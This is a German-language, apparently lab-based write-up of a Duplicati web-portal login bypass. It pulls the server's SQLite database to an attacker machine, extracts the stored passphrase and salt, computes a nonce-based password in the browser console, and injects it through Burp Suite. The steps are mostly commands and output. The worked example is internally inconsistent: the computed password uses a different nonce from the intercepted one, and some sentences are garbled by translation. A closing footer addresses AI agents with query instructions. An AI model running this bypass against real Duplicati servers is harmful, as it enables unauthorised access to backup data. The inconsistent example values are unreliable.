> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati - Umgehung der Login-Authentifizierung

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Während der Zielanalyse wird ein **Duplicati** Webportal wird entdeckt. Das Portal stellt ein Authentifizierungsfeld bereit, das ein Passwort erfordert.

<figure><img src="/files/9268e3432f84066ba16bf2e11f3e156e19c602fc" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati ist ein Backup-Client, der verschlüsselte, inkrementelle, komprimierte Sicherungen lokaler Dateien bei Cloud-Speicheranbietern oder Dateiservern speichert.
{% endhint %}

Die Systemaufzählung lokalisiert das Duplicati-Konfigurationsverzeichnis unter `/opt/duplicati`. Die SQLite-Datei `Duplicati-server.sqlite` kann sensible Informationen enthalten.

<figure><img src="/files/a522a9240c0a14e26e99a4807b3295a6582dd1ff" alt=""><figcaption></figcaption></figure>

#### Herunterladen der SQLite-Datei

Um die Datei zu analysieren, laden Sie sie mit einem Python-HTTP-Server auf die Angreifermaschine herunter:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/a4e97a18f09f524d6f47be139555f71bde6d0fab" alt=""><figcaption></figcaption></figure>

#### Analyse der SQLite-Datei

Öffnen Sie die Datei mit `sqlite3` um ihren Inhalt zu überprüfen:

```bash
sqlite3 Duplicati-server.sqlite
```

Listen Sie die Tabellen auf und wählen Sie die `option` Tabelle zur Datenextraktion aus:

```sql
.tables
select * from option;
```

<figure><img src="/files/1ff34b1a1add3c68d143324f6b4f505f2f7dc0b8" alt=""><figcaption></figcaption></figure>

| Schlüssel                          | Wert                                           |
| ---------------------------------- | ---------------------------------------------- |
| `Server-Passphrase`                | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `Server-Passphrase-Salz`           | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `Server-Passphrase-Tray-Icon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `Server-Passphrase-Tray-Icon-Hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Passphrase-Umwandlung

Das `Server-Passphrase` Der Wert ist Base64-kodiert. Dekodieren Sie ihn und wandeln Sie ihn mit folgendem Befehl in Hexadezimal um:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/eb1345452dc93d810b26f6b6100874f5921039a3" alt=""><figcaption></figcaption></figure>

#### Dies ergibt den folgenden Hexadezimalwert:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Berechnung des endgültigen Passworts

Um das endgültige Passwort zu erzeugen, führen Sie die folgenden Schritte in der Browser-Konsole aus:

**Definieren Sie die gesalzene Passphrase:**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Abfangen der Anfrage mit Burp Suite

Fangen Sie die Anfrage in Burp Suite ab und wählen Sie `Abfangen > Antwort auf diese Anfrage`, dann klicken Sie auf `Weiterleiten`.

<figure><img src="/files/f2fd65f59e9343f913e57bfd0dc6778f9ab4e2db" alt=""><figcaption></figcaption></figure>

Eine HTTP-Anfrage, die mit **Burp Suite** zeigt die folgenden Werte:

<figure><img src="/files/853de1138efea2176fb1f58ae0c76c1e02800305" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

Das `Salt` Feld stimmt mit dem `Server-Passphrase-Salz` aus der Datenbank extrahierten Wert überein.

**Berechnen Sie das Nonce-Passwort:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Geben Sie das Ergebnis aus:**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/e0322d9c31462ea05f239f811305414ef874d2c1" alt=""><figcaption></figcaption></figure>

Das erzeugte Passwort (`noncedpwd`) lautet:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Passwort-Injektion und Ausnutzung

1. Fügen Sie das berechnete Passwort ein.
2. Verwenden Sie **Ctrl + U** um es per URL-Encoding zu kodieren.

<figure><img src="/files/fed01a82688684dc0b9aa484fe448d146a1ca9b7" alt=""><figcaption></figcaption></figure>

3. Klicken Sie **Weiterleiten** erneut, um die Ausnutzung abzuschließen.

<figure><img src="/files/4eecade67258b293ead18f3c89e11d629b94aece" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
